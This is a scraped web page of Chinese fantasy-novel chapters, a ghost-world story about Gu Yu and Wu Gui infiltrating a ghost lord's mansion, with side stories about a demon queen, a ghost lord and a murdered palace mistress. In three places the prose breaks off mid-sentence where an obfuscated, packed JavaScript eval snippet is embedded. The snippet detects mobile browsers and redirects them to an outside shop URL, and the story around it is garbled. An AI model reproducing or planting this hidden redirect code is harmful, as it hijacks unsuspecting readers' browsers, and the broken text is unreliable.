最终顾屿同乌归各自抱了袋银两,千恩万谢地走出了首领府邸。众鬼将他们一路送至城门,一番依依惜别后才心满意足各自归家。 此时已近落日时分,街上叫卖的摊贩已然开始陆续收摊。顾屿同乌归寻了个角落卸下伪装,换回寻常穿的衣服,慢悠悠地抱着两大袋银钱走进最近的一家客栈。 客栈的上房也只是勉强算得上干净,被褥简陋得有些寒酸。桌椅更是年久失修,稍一晃动便发出“嘎吱”、“嘎吱”的声音,好似随时都会散架一般。 好在客栈小二十分热心肠,见两人刚到,便帮忙拎了一壶热茶上来。顾屿轻声向他道谢后,才发觉自己的身体已经疲惫不堪。 他强打起精神,在桌案前绘制完西城鬼主府的布局图,并再三叮嘱乌归一定要在亥时叫醒他,然后便一头栽倒在了床上,沉沉睡去。 乌归手里紧紧握着那张布局图,眼睛一会儿盯着图,一会儿又看向顾屿,时不时发出一声轻叹,如此这般,一直持续到夜幕降临。 深夜,月亮高悬,乌归按照约定准时唤醒了顾屿。顾屿迷迷糊糊地从床上坐起身子,目光落在眼前满脸忧虑的乌归身上,才勉强清醒过来。 二人迅速整理好行装,带上城主令,穿上夜行衣,小心翼翼地推开窗户,悄无声息地离开了客栈。 西城鬼主府。有暗影潜伏于府邸四周,府内守卫森严。偏殿外无人打理,草木丛生。风过处枝影摇曳,犹如鬼影幢幢。 西城鬼主身着青衫站在殿中,遥望天边月色。清夜无尘,月色如银。 如此良辰美景,按照文人墨客的习惯,本该借酒吟诗,再于月下一醉方休才是。 可惜自己终究算不得文人墨客,他莫名觉得有些烦闷。 殿外有脚步声传来,不多时行至他身侧。 黑袍老者跪在地上,举起双手向他奉上密信,沉声道:“尊主,据手下来报,自北域来的那两只鬼又有新动作了。” 西城鬼主微一挑眉,伸手接过密信,放在月色下瞧了瞧,顿时嗤笑出声:“蠢货,一群蠢货!” 手中密信凭空燃烧殆尽,落了一地灰尘。黑袍老者心惊胆战地跪在原地,未得鬼主诏令不敢起身。 西城鬼主也不去管他,负着手举头望明月,忽而又放声大笑:“明月啊明月,你怎么又残缺了……本尊当初立下誓诺,残月当空,血洗青天。 今日你既为残月,本尊也自当履行诺言,就用满城人的血为你血洗青天。” 他在殿中踱了几步,面色陡然阴沉下来,目光森然,冷声道:“不过外城中人尚未除尽,那就再等一个时辰。” 他倚窗站定,看着天边明月,不知对着何人悠然道:“你知道么,这叫瓮中捉鳖。” 17. 兽类 西城鬼主府布局是一等一的精巧,九曲回廊重重叠叠,暗门密道层出不穷。就算侥幸入了府内,稍有不慎便会行差踏错,先前万般心血付诸东流。 是以若要入府,这布局图自当越精细越好。西城鬼主府外数里的草垛里,乌归满面悲戚地看向顾屿,吞吞吐吐欲言又止。 顾屿神色专注地看着手中的布局图,眼瞳在月色下亮得惊人,声音也是出奇地热情:“元兄,你准备好了就自己先去吧,不用等我。” 乌归不可置信地瞪大了眼睛,艰难地咽了口唾沫,磕磕绊绊说道:“顾公子,这,恕我冒昧问一句,咱们去那到底是要做什么啊?” 顾屿默不作声地把目光从布局图上移开,而后合上图,从容向他伸出了只手:“城主令,拿来。” 乌归警惕地盯着他,小心翼翼地将城主令递了过去。 顾屿接过令牌,翻来覆去摸索几遍,忽而问道:“元兄,你先前说过这城主令有四块,用于战时求援或调度鬼侍。那不知这四枚城主令的效用是否互通?” 乌归有些迟疑地摇了摇头:“这个,我亦不知。” 顾屿轻笑一声,将城主令还了回去,又换了个问题:“那元兄可知这城主令在何人手中才可生效?” 乌归皱眉看向他,思索片刻,不太确定地答道:“是城主手中?” 顾屿收敛了面上浅淡笑意,垂眸正色道:“不,是在执念极深的人手中才会生效。” 他不知想到了些什么,声音有些颤抖,“元兄,恐怕真正的西城鬼主已经凶多吉少了。那日我们在古墓中瞧见的,不过是个配合演出的傀儡罢了。” 乌归惊骇不已,整只鬼连连往后退了几步,跌坐在草垛里,惊魂未定道:“就算这是真的,你是怎么知道的?” 顾屿面色凝重,苦笑道:“猜的。那城中噬魂的恶兽,” 他顿了顿,又补充道,“就是吃了客栈老板和鬼侍首领的那只兽类,形貌被刻在了古墓墓碑上,我们见过。 那日我窥见刻在墓碑上的文字,据其所述,那兽类似乎原本应是守在城中替历代城主惩奸除恶的瑞兽,不死不灭。” 乌归呆呆地听着,此时不由得问道:“那难道它吃的鬼都是恶鬼?我们冤枉它了?” 顾屿惨淡一笑,轻轻摇了摇头,答道:“恐怕不是这样。这兽类既忠于历代城主,便自然也受城主令调遣。 若是这城主令早已落入心怀叵测之人的手中,又对此兽经年累月加以误导,依旧有滥杀无辜的可能。只是那人究竟为何要这样做,我暂时也不太明白。” 乌归低头思索片刻,缓缓说道:“但按道理讲,这城主令只会由各城鬼主亲自保管,如今被奸人利用。这可如何是好?!” 他捋清头绪,心中顿时焦急不已,求助般看向顾屿,嚷嚷道,“顾公子可有什么办法,此事事关重大,关乎这一城安危,我们既弄明白了便绝不可袖手旁观……” 顾屿有些头疼,示意他把声音放小些,皱眉低声道:“这只是猜测而已,又不一定是事实。就算是真的,何况眼下那人在西城鬼主府中隐匿许久却毫无动作,咱们无凭无据让旁人如何相信。 我们今夜先去探一探虚实,弄明白是否真是如此。若是真的,到时候再多找些帮手动手也不迟。” 乌归虽心存疑虑,面上却不显,只重重点头应下,起身上前去听顾屿的计划。顾屿高深莫测地打量着他,手里紧紧攥着布防图,突然开口道:“元兄会游泳么?” 乌归莫名有些紧张,糊里糊涂地答道:“会……吧。” “喔——,”顾屿微微笑道,“我不会。” 然后乌归就悔不当初地被顾屿丢进了冰冷的河水里。 顾屿站在岸边,眼尾上挑,笑得像只好不容易才把猎物成功忽悠上钩的狐狸。 夜色中,顾屿笑眯眯地冲他摆手叮嘱:“我研究过了,这条河同西城鬼主府后园那片湖水相通。元兄只要一直向上游方向游,不出一刻就能入府。 千万不可轻举妄动,就在原地等我会合就好。” 乌归默默白了他一眼,潜入水中,小声嘟囔着依言照办。 此时已是亥时过半。夜风微凉,顾屿心中轻微的烦躁不安消散了些,用黑布蒙上面,于林中潜行接近西城鬼主府。 西城鬼主府前不出意料的守卫森严,枕戈待旦。 顾屿伏在暗处观察了一会,心中焦灼,明白这些守卫处理起来可能有些麻烦。回想起自己生前最拿手的瞬行符咒,决定挺而走险试上一试。 鬼主府的守卫每隔一个时辰一换班。顾屿自认运气一向不好,又是做鬼后第一次正经用符咒,为免被发现横生事端,他毅然决定先在地上趴上半个时辰等守卫换班。 好在瞬行符咒倒像是对鬼比对人还有效,换班时守卫只微微感到有风拂面,并未察觉顾屿的踪影。 顾屿悄无声息地翻入了西城鬼主府,匿于夜色中看清周遭的那一刻,心中顿时警铃大作。 所见之处并不如常,先前他们随黑袍老者自古墓归来时,这鬼主府内虽寂静但仍有幽暗光亮,有鬼侍不言不语行色匆匆。 而此刻,檐下无青幽魂灯摇晃,路上无鬼侍来往。整座府邸像是被全然笼在阴暗处,檐下黑影狰狞差互,如同虎视眈眈正欲择人而噬的凶兽。 顾屿嗅到了一丝若有若无的血腥气,手所能触及的皆为幽暗潮湿处,气氛压抑得令人险些喘不过气。 然而事已至此,绝不可能就此草草结束。顾屿强行压下心头不适,试探着向前走了几步,好在脚下坚硬厚实的地面如旧。 他稍稍松了口气,于心中默默祈祷方才都只是自己的错觉。 凭借着自己记忆的一部分西城鬼主府的布局图,顾屿敏捷地躲过各个路口处巡察的鬼侍,一路顺遂潜行至湖畔。 只是这路走得越顺遂,顾屿越是觉得蹊跷。按他之前的猜想,今夜本应该是对手在明他们在暗,但如今看来却像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话还未说完,他便感到一阵寒意从脊梁上升起,眼前的场景开始模糊起来。 唯有那兽类的身影在他视野中逐渐变得清晰,身上毛发也依稀可辨。 它张开嘴巴,露出锋利的獠牙,发出一声低沉的咆哮。这声咆哮震得周围的树叶沙沙作响,仿佛要将整个世界都撕裂开来。 顾屿的身体颤抖得更厉害了,一时间头痛欲裂。 他试图保持镇定,但内心的恐惧却无法抑制。他努力回想过去的经历,试图找出与这只兽类有关的线索。 但脑海中一片混乱,根本无法拼凑出完整的记忆。 乌归紧张地注视着这一切,既想上前帮忙,但又想起顾屿告诫过他不能转身,不知道该如何是好。 只能紧紧握住剑柄,警惕那只兽类,准备随时出手。 18. 与正文无关的短篇 正月十五夜,人间团圆日,鬼怪聚会时。 忘川两岸烟雾弥漫,鬼魂挤在一处吵嚷不休。 忘川河中漂过点点金光,每行至一处便各有一点金光飞至岸边对应鬼魂身上,金光隐去后留下了金银马匹衣帛乃至仆僮。 只要有人惦念,一夜暴富不是梦。 得意处永远不乏失意鬼。与忘川相隔不远处街道巷陌里,一众无亲无故的孤鬼围在酒摊前闷头大醉。 摊主垂头丧气地一面筛着浊酒,一面用心提防着有鬼装醉跑路不给钱。 又不知过去多久,摊前鬼众已散去大半,摊主收拾好桌椅,准备扯下旗帜收摊。 青砖铺就的长街尽头忽而现出了一道白影,转瞬行至酒摊前。 “劳驾,给我一碗酒。”声音轻灵空缈,像自极幽远处传来。 摊主抬头望去,只见一道白影隐隐绰绰笼于烟雾间,面容身量皆看不清,不由得好奇地多打量两眼,答道:“好嘞,您稍等片刻,这就来。” 白影点了点头,寻了一处干净桌椅坐下。此时鬼众已然散尽,摊间只有这一位客人。 摊主将酒碗递了过去,瞧着那道白影接过呷了两口酒,忍不住问道:“客官是刚从忘川那边回来吗?” 白影的动作顿了顿,沉默片刻后道:“是。”待将碗中酒喝去大半,开口道:“不过好像没人记得我是谁。”又苦笑,“……连我自己也不记得我是谁。” 摊主了然地“哦”了一声。 原来是个糊涂鬼。 世间生灵死而化鬼,入幽冥地界后,或重入轮回转世,或安居鬼域自行消散,或因执念未清留于修罗道。 无论如何,生死簿上总归有名姓留存。 只有自己是个异类。白影心想,无名无姓,无死之因,无形无貌,亦无处可去。 千年前刚入冥界时,任职的鬼差们大眼瞪小眼,将上下五千年的生死簿翻来覆去查了近百遍,才迫不得已地承认他的存在的确是个错漏。 是以不入轮回,游荡至今。 不知不觉间,一碗酒已然饮尽。他起身付了酒钱,隐于雾气中继续沿着街巷徐行。 至幽冥城中,迎面遇上一众青面鬼差。 鬼差们神情严肃,行色匆匆,周身浓雾如有实质,压得人几欲喘不过气。鬼魂们议论纷纷,言语间不外乎一个意思,出事了。 出事了,意味着有人要遭罪,有人要顶锅。 他藏在暗处,百无聊赖地想谁家鬼会这么倒霉,要真有这万万里挑一的运气不如早一步跳入轮回,说不定还能得个终身大富大贵的罕见命格。……然后,他万万里挑一地昏了过去。 ………… 冥界极北域,息戾泽。 平静了近万年的泽地这些日骤然煞气大盛,其间溢出黑红血雾扑向四方驻守的鬼差,不等鬼差惊呼出声,便已将其吞噬殆尽。 每多吞噬一分,血雾便愈浓一分,最后竟逐渐凝成实形。 担了指挥一职的阴鬼首领已然焦头烂额不知如何是好,却又死活不愿承认是自己失职才致使今日这局面,只命令鬼差硬撑。 鬼差们明知抵抗分毫无用,却又不得不前仆后继前往赴死,于绝望中赢个忠烈名。 而血雾得了诸多鬼魂滋养日益庞大,开始时只在四周荒野弥漫,过处生机断绝,丰饶地界变为荒漠,飞鸟走兽先化枯骨又碎为齑粉。 如今却向冥界诸城蔓延,一旦成形,必为大祸。 那首领见势不妙只得上报鬼主,又临时自城中抓了几个替死鬼顶锅,以防怒气波及自己丢了职位性命。 待鬼主赶到息戾泽时,便只见屋内一排大大小小的鬼规矩跪在地上请罪,首领一口一句万死难辞其咎,只字不提自己错处。 自觉态度到位,事半功倍。 然而鬼主此番却实在恼怒,联合几方鬼城城主出手也只勉强遏制住了血雾弥漫之势。 此刻将首领这番把戏看在眼里,想到折损的诸多鬼差,心中恼火至极,冷冷看着那一排请罪的鬼,近乎咬牙切齿道:“既然万死难辞其咎,不如就于此自行了断,何必请罪?” 那首领万没想到得了如此回应,闻言惊惧不已,膝行至鬼主身旁伏跪,涕泪横流道:“属下固然该死,但此间事终究不由人。 属下若自行了断,恐会对外损了尊主威名,失了人心。尊主声名若受辱,属下便是灰飞烟灭亦心下不安。还望尊主三思啊。” 鬼主气极反笑,一脚踹开首领,还未及张口答话,便听到自身后幽幽传来一道女声:“呵,好忠心的下属。” 听出来者是谁后,鬼主本就黑着的脸更黑了。 只见一女子身着红衣,墨发用白玉簪束起,面上笼了半张金制莲纹面具,拊掌自阴影处走出,浅笑道:“不愧是鬼主看重的首领,果然忠心耿耿一心为主。不过,” 话锋一转,面上却是笑意渐深,“任凭鬼主于这六界中名声再怎么差,总归也差不过本君去。是以首领大可安心了断,不必烦忧。” 那首领初听时以为来者是要为自己求情,如今听到此处,再联想六界中声名最差的那位,已然面白如纸,冷汗浸湿后背,跪在地上战栗不已。 鬼主见状微不可察地叹了口气,再开口时又成了谦谦君子:“妖君说笑了。声名之类不过世人妄自揣度,以讹传讹之说罢了,算不了什么。” 言毕,手中黑气凝为长剑,只一瞬便贯穿了首领身体,又一拂袖,黑气便挟裹着鬼魂共同碎作尘埃。 鬼主微微颔首,看向视若无睹的某位,心中颇有不甘:“此番清理门户,让妖君见笑了。” 宿云微摆手:“哪里哪里,并不好笑。” 鬼主略微哽了一下,抬手屏退左右:“你来做什么?” 宿云微眼中闪过一丝促狭笑意,行至鬼主身边,低声道:“前些日子,鬼主招惹的那三千六百六十一位红颜知己共同寻到妖界,齐齐跪下恳求我主动毁了同鬼主的婚约,哭得梨花带雨好不可怜。 本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340304|152605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君又一向怜香惜玉,是以当即就应下了。此番前来,一是为了履行承诺,同鬼主解了婚约。” 顿了顿,又面无表情地看向鬼主,郑重其事地说道:“二是听说冥界出了些棘手事,念在你我昔日旧情,本君自然不能袖手旁观,特意千里迢迢赶来——看笑话。” 鬼主:“……”他始终想不明白这人为什么能一本正经地说出这么欠揍的话! 不生气不生气,鬼主深吸一口气,手在袖袍中反复握成拳又松开,面上假笑险些挂不住:“……婚约之事既已立誓不可更改,妖君现下将笑话也看够了,不如先行离去?” 宿云微闻言先是垂目摇头叹息三声,而后一手捂住心口,一手作拭泪状,红唇微启,戏腔念白吐出冰冷字句:“啊呀,郎君你好狠的心! 奴家不远万里跋山涉水千辛万苦今日方见得郎君一面,怎能就此离去!郎君一字一句犹如那凌空利箭,将奴家的心都击碎了啊,郎君啊啊啊……” 听着那愈唱愈起劲的哭丧曲调,鬼主嘴角抽搐,额角青筋狂跳,生平第一次有了撞墙的欲望,最后忍无可忍吼道:“闭嘴。” 屋内静默一瞬。 而后响起了更为激烈的打斗声响。赤色灵流同黑色灵流卷在一处,产生的冲击将屋内一切化为齑粉。屋外守着的鬼侍见怪不怪对视一眼,胜负已定。 宿云微从容抱臂,俯下身看着瘫在地上的鬼主,难得真心实意地叹息:“唉,打也打不过我,演也演不过我。 这世间姻缘多有定数,鬼主又何必苦守我不放。明日消息传出,你那三千六百六十一位红颜又该怪罪我。 到时候鬼主仍旧安心做着没事人,本君的名声又该更跌一层。真是打得好主意啊。” 鬼主朝她翻了个白眼,身上疼痛,一时也懒得再装什么君子:“那只能怪你运气不好遇上我……又不是我让她们去寻你的……再说我也没阻止你找蓝颜知己啊……你较什么劲啊……” 宿云微唇角扬起,不动声色地踩上了鬼主右手,加重力道碾了碾,满意地听到一阵鬼哭狼嚎。 她直起身,狐狸眼中泛过一丝冷光,声音却仍带着笑意:“好主意。不过,鬼主若是执意不解婚约,本君大约要年纪轻轻便承受丧夫之痛了。” 鬼主:“………………”瘫在地上无奈装死,“那等我找到第三千六百六十五位红颜知己时就解婚约。” 宿云微莞尔微笑。 鬼主:“……六个月后就解婚约。” 宿云微冷笑。 鬼主炸毛:“……三个月,三个月总行了吧,不能再少了!你总得让我腾时间安抚我那三千知己啊!” 宿云微收敛笑意,再度冷脸道:“成交。” 伸手将鬼主拉了起来,沉默片刻,开门见山地问道:“息戾泽中凶煞异动,是因为封印渐弱。但那血雾……又是为何?” 鬼主原本痛得呲牙咧嘴,此刻却眸色深沉,面上凝重,已然冷静下来:“我已探察过了,泽中浮沉珠丢了。” 19. 短篇续集,依旧与正文无关 宿云微看了看面前人,心中微微产生些怜悯:“你打算怎么办?这事瞒得了一时瞒不了一世。浮沉珠万年只一颗,如今丢了,血雾弥漫,这封印怕也撑不了几时。” 鬼主神情黯淡,苦笑道:“能怎么办?查呗。大不了封印破裂,本座拼尽此身之力,以死谢罪就是。”又诚恳看向宿云微,声音压低,略带了几分祈求意味,“若真有那一天,恳请妖君帮本座那三千知己都各寻个好归宿,切莫要让她们为我伤怀。” 宿云微:“……”心中怜悯顷刻烟消云散,妖君陛下突然很想一拳攘死他。然而忍了又忍,终究只是面若寒霜,冷笑三声,拂袖而去。 鬼主悲伤捂脸长叹:“本座有一种不好的预感。” 然而这一次却什么都没有发生。 仿佛一切暗流涌动都止于平静无波的水面之下。原本准备好迎接惊涛骇浪,却只得到了一场绵绵细雨。鬼主莫名心有戚戚焉,不愿细想,不多时便将此事置于脑后。 半月后。 妖界浮妄宫,听雨亭。 亭台坐落处四面环水,水岸遍植灵花仙草,有树遮天蔽日,绿荫成片。风过处暗香浮动,扬起亭中帏幔。四周静谧无声,是个清幽去处。 亭中。宿云微墨发披散,极罕见地卸下红裙穿了白衣,金制面具搁至一旁桌案上,眉眼间倦怠之意已显,手中刀具却一刻不停于一截紫檀木上雕琢。木雕尚只粗略刻了形体同头部眉眼,依稀可辨是个女子。 忽而苦涩暗香中夹杂了一股馥郁酒香,有客自远方来。宿云微头也不抬:“坐。” 玄都左手拎着酒壶,右手提着一卷纸笺,对着亭中一片狼籍咋舌:“你这,想让我坐哪?” 闻言,宿云微停下手中刀具,似笑非笑抬眼看向他,眉目艳丽得近乎妖孽。下一刻亭中骤然狂风大作,令人睁不开眼。风止后,亭内已干净如新。玄都见怪不怪地冲她翻了个白眼,随意席地坐下,将手中纸笺递了过去:“半月内奇闻逸事,六界怪谈,自己看。” ……没动静。 宿云微朝他挑眉微笑,摊了摊手。意思很明显,现在没空。 真该死,谁让我欠她钱,玄都咬牙闭眼,认命地灌了两口酒,很有眼色地拿过纸笺开始念。薄薄一页纸,不过半刻便已念完。宿云微低头专心刻着木雕,一言不发。 玄都叹了口气看向她,正色道:“现如今冥界息戾泽中封印渐弱,北海倾雪宫受邪妄惊扰,苍梧派中镇恶塔亦屡遭侵袭。这一切未免发生的太过巧合,背后何人指使也尚未可知。另外,”他眸中闪过一丝阴郁,声音亦更加沉重,“上古之时神祗设下四封印镇压罗刹与阿修罗二族。如今其余三界封印均已松动,又已被居心不良者利用引出大乱。没有独妖界落荒渊能逃过一劫的道理。” 玄都犹豫片刻,最后本着没还完债前债主绝不能死的原则,好言劝道:“趁现下还未出现大的祸患,你总该小心提防些才是。” 宿云微点头认可,保持沉默。玄都见状苦笑着灌了半壶酒,试图缓解自己难得的好心被当作驴肝肺的悲伤。悲伤了一会儿,看着那坑坑洼洼的木雕,又忍不住开口:“你雕这个丑娃娃做什么?难不成想趁还未出现大乱退位改行做木雕师父了?唉,其实也不是不行,但你这个木雕雕得也忒丑了,除非瞎了眼,否则谁还会买……” 宿云微抬头,对这一番诋毁居然懒得计较,神色如常,淡然答道:“不卖,只是陪葬。”见他不解,指了指手中木雕,又补了一句:“给我自己陪葬。” 闻言,玄都面上的表情从平静转为愕然,又从愕然转为惊恐,再由惊恐转为惋惜,最后定格于“我真该死啊”的悔不当初,好一出精彩的变脸大戏。 恰有丝竹声自远处传来,曲调忧伤催人泪下,等气氛烘托到位,宿云微才慢悠悠地补充道:“不过大约还要等个几千年。” 于是守在宫门前的妖界侍卫便又一次免费观看到了玄都上仙骂骂咧咧心态崩溃,发誓再来就是狗,一路狂奔跃上云头的经典场面。 听雨亭内,宿云微漫不经心地拾起纸笺,一行行扫视过去,嘴角噙起一抹意味不明的笑。刹时手中火焰燃起,一切化为乌有。这六界太平了这么些年,如今总归还是要乱一乱了。 三日后。北海倾雪宫。 尸山血海,白骨如山。方圆百里血腥气味弥漫,引得噬魂之兽齐聚于此,噬魂夺魄,过处血肉俱空,徒余白骨。倾雪宫中处处染血,桌翻几碎,帐幔残破,珠玉洒落滚落于地,于幽暗处闪烁如鬼火。 殿中唯一完好的檀木桌案上,一张无弦琴自发弹奏出了《招魂曲》,一曲终了复又循环,于此处徒增凄凉。案后主位上,倾雪宫主洛瑶双目俱失,血流满面,身上衣裙残破不堪,胸口处插着一柄冰蓝长剑,已然死去多时了。燕鹤青醒来时,第一眼瞧见的便是如此景象。 他瘫坐于地,一时间头痛欲裂。不久前自己还只是一只入不得轮回不知名姓的鬼中异类,今日蓦然自昏睡中惊醒,就莫名其妙活了过来。 难不成那些东西打晕自己就是为了做好事免费赠送一具躯壳?他揉了揉脑袋,睁眼看的一瞬间便否定了自己的想法。谁家好人会把人丢在这活地狱里啊……不远处噬魂恶兽撕咬血肉之声不断传来,大批恶兽停在门处大声嘶吼,却在利爪将要伸入殿门时,被无形屏障阻了回去。唔,看来有结界。 他扶着桌案强撑着站了起来,四处打量一番,目光最终落到了那自发弹奏的无弦琴上。若有似无的淡蓝色灵流缠绕琴身,引出这一曲招魂。琴曲每奏成一遍,殿门处的结界便深了一分。 主座上倾雪宫主双手手指俱勒出深深血痕,殷红血珠自苍白指尖不断汇聚滴下,落在地上染出一片湿润痕迹。纵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340305|152605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然身死魂散也要保全这里吗?他歪着头看向那具双目已失的残破躯体,恍惚间自她面容上觉察出一丝笑意。那并非尽人事听天命后的释然,而更像飞蛾扑火孤注一掷的决绝。 她不该以这幅形貌死去。他不知不觉间走上前去,提起桌案上的青瓷茶壶缓缓倒出一杯……血。真的是血,乌黑衬着淡青,不知放置了多久,血的浓郁腥臭同原本的茶水香气混作一团,令人作呕。 他嫌弃皱眉,将茶壶扔在一旁,又微微叹息一声,手指向前握住剑柄,缓慢用力将剑身自那残躯中拔了出来。又带出一片鲜血淋漓。 长剑拔出,那残躯上的伤口便愈扩愈大,浅淡灰色自伤处溢出,挟裹着躯体飞快消散在原地。短短半柱香时间,整具躯体便已消散了大半。他右手执剑,沉默着站在原地,怔愣片刻。待他回过神,便已陷入了全副武装的各界侍卫重重包围中。 他心道不妙,奈何此刻自己作为倾雪宫中唯一活物,滴血长剑尚还握在手里,倾雪宫主又已消散在自己眼前。此刻于诸人见证下,未免百口莫辩。 挺好挺好,当鬼时要给鬼顶锅,如今成了人还要替人顶锅。他有些心伤,有些孤独,有些绝望,最后纠结半晌,在打起精神舌战群儒和手执长剑拼死一搏中选择丢弃脸皮装疯卖傻。 他“铛啷”一声扔下剑,顺手拽住最近的一位侍卫,左手掐腿双眼含泪,真诚发问:“大哥你谁?这又是哪?我什么都不知道,我很害怕,你能放我出去吗?” 众人:“……”不是,你拎着那么长的一柄灵剑把人捅了,然后跟我们说你其实很害怕? 被他拽着的侍卫想到那殿前堆积如山的白骨,下意识地结巴:“啊这,这,这,那什么我们尊主,没,没说,行不行。”在成功获得众人白眼后,才着急忙慌地补充,“当,当,当然不行。不行。求求你,别难为我了。” 他冷笑不已。众侍卫刀剑立时齐齐出鞘,寒光闪烁,直指中央。心中皆怕略晚一刻便与殿外残骸得了同样下场。又不知过了多久,他缓缓收敛笑意,眉宇间是一种近乎苍白地平静,向四周众人打量一眼,而后从容跪在地上——昏了过去。 寂静,死一般的寂静。 “现在怎么办?”众人面面相觑,皆处在原以为穷凶极恶的敌人莫名其妙就丢下武器昏倒了的震撼中,一时竟有些手足无措。 最终年纪略长些的侍卫率先清醒过来,指挥其余人将他关入倾雪宫中的囚牢中。又将倾雪宫覆灭的消息封锁,只暗中传讯将此事禀明了各界主君。 因着倾雪宫处于北海与魔域交界处,地势偏僻,一向少有人至。加之恶兽自封印地逃出后尚未作乱,是以这举宫覆灭的消息也并未传出多少。 只有少许知情者心戚戚然,惶惶不可终日。明知实情却又不得向旁人倾吐苦楚,只能于沉默间为上位者粉饰太平。 20. 续篇 倾雪宫。牢狱深处。 恶兽白骨筑就的阶梯间鲜血淋漓,本已干涸的陈旧血迹被这殷红血迹浸染出又一番哀号。空气中弥漫着尸身腐烂气味。 阶梯旁浮着锈迹斑驳的古铜兽首,其间幽蓝鬼火闪烁,映出的是业已空荡的囚牢。 囚牢虽空置,入夜后,千年来恶兽残留的号哭声响也足以令人心悸。奉命看守此处的侍卫闻声俱是两股战战,于沉默中强撑着摇摇欲坠的威严。 最深处的一间囚牢终年暗无天日。地上堆积了些许脏污皮毛。白日里阴冷潮湿,入夜后寒意彻骨。墙面上暗痕遍布,分不清是血迹还是青苔。 他努力缩成一团,倚在墙角处。思绪漫无目的地于记忆各处游荡。 寒意自四肢百骸逐渐侵入心脏肺腑,让他忍不住咳嗽出声,一阵急过一阵,喉咙里带了些许血腥气。意识逐渐模糊,头脑一片空白。 不行,不能这样昏过去。他缓慢坐起来,强行于周身运转灵力。只是这具身体似乎病弱已久,灵脉滞涩。 运转半日,也只得了些微暖意。他微微叹息,抬头看向牢狱前那数百侍卫,心觉好笑。辩又辩不过,打也打不过。 且不说自己这微薄灵力能否突破那七八层大小结界,便是侥幸逃出去,也是跑个七八步就晕个半天。白送的功绩何愁抓不住。 兴许白日将至,身上寒意渐消,困意袭来。他懒得再想,索性阖眸瘫在地上沉沉睡去。 倾雪宫主殿内,三界尊主聚于一处。天帝一袭月白华服坐在主位上,白发三千丈,面上表情介于忧愁与威严之间,似苦非苦。 自他即位来,做事不求有功,但求无过。一向能避则避。此番实是事牵六界安危,这才迫不得已出面同其余各界尊主商讨解决事宜。 天帝向左右各看了一眼,屏退周遭侍从,面带笑意,斟酌着开口:“倾雪宫覆灭一事,想必诸君业已知晓。现下狱中恶兽逃窜,本君已命人前往追捕。 只是这封印已毁,修罗族人不知去向。若单凭吾一界之力追捕,无异于大海捞针,实为自不量力之举。 今日邀两位来此,便是想请借两界之力联手而行,共同追捕修罗一族。不知二位意下如何?” 左位上,宿云微仍是一袭红衣,面上覆了半张金制面具,一心只想降低自个儿存在感看戏,借着饮茶不答话。 右位,魔尊北庭烨一袭墨色锦袍,不甚在意地摇着手中水墨折扇,端着风流公子的派头,看也不看座上人,散漫答道:“喔?那本君若是答应了,又能得什么好处?” 又斜睨一眼,语带嘲讽,“有美人吗?有富贵吗?天帝莫要拿那六界安危来压本君,难不成这世道竟堕落到需要魔头来救世人了么?” 北庭烨眸中泛起肃杀冷意,将折扇一收,看向天帝,沉声道:“再说六界中谁人不知妖魔两界恶名,纵然本君同妖君倾力相助,此事若成,好说,功绩名声都归至天帝陛下身上; 此事若不成,只往妖魔两界推捼就是。天帝陛下既打得好算盘,此刻何必于此惺惺作态?” 这一番话着实有些刺耳,天帝同妖魔两界打交道不多,闻言面上笑意便有些挂不住。奈何此刻有求于人又不好翻脸斥责。只能微微皱眉,将这笔帐在心中记下。 宿云微默默在心中鼓掌叫好。 虽然这魔头自恃风流不甚检点,同六界美人皆有沾染,私生子突破了一百大关,但嘴是真的狠毒贱。着实好用,值得称赞。 殿中沉默片刻。再开口时,天帝面上笑意不减,温声道:“眼下六界太平,何来妖魔恶名之说?实是二位尊主多心了。” 思忖片刻,又不肯放弃,再度劝解道:“只是这修罗一族秉性凶恶,行事暴虐,如若放纵必然后患无穷。 更兼如今冥界鬼主事务缠身自顾不暇,人神两界势弱,均无余力相助追捕。本君也实是万不得已才来相求。二位主君切莫因一己私怨误了大事,招至骂名缠身。” 言至最后不轻不重地刺了一句,聊作慰藉。 妖君同魔尊对视一眼,作了番悄无声息的交流。 “你去回答。” “别,刚刚就是我答的,该你了。” “你刚刚不是怼的很痛快么?再怼一次。” “……累了。” 妖君闭目装死。魔尊沉默不语。一时间气氛有些尴尬。 微风拂过,鼎中燃尽的沉水香散出幽冷香意,是倾雪宫中惯有的气息。宿云微心中一动,鬼使神差地想到了倾雪宫主。 那样聪慧的女子,逸若飞雪,心思玲珑。最后却连尸身都未得保全。而杀了她的人……还关在了牢狱中。 究竟是什么样的人能杀了她? 宿云微睁开眼,唇角微扬,看向天帝,镇静自若地转移话题:“本君听闻于倾雪宫执剑杀戮者已被擒获,现设了重重守卫关押于牢狱中。 不知天帝是否审问出了什么?这倾雪宫覆灭缘由又是为何?天帝可有头绪?” 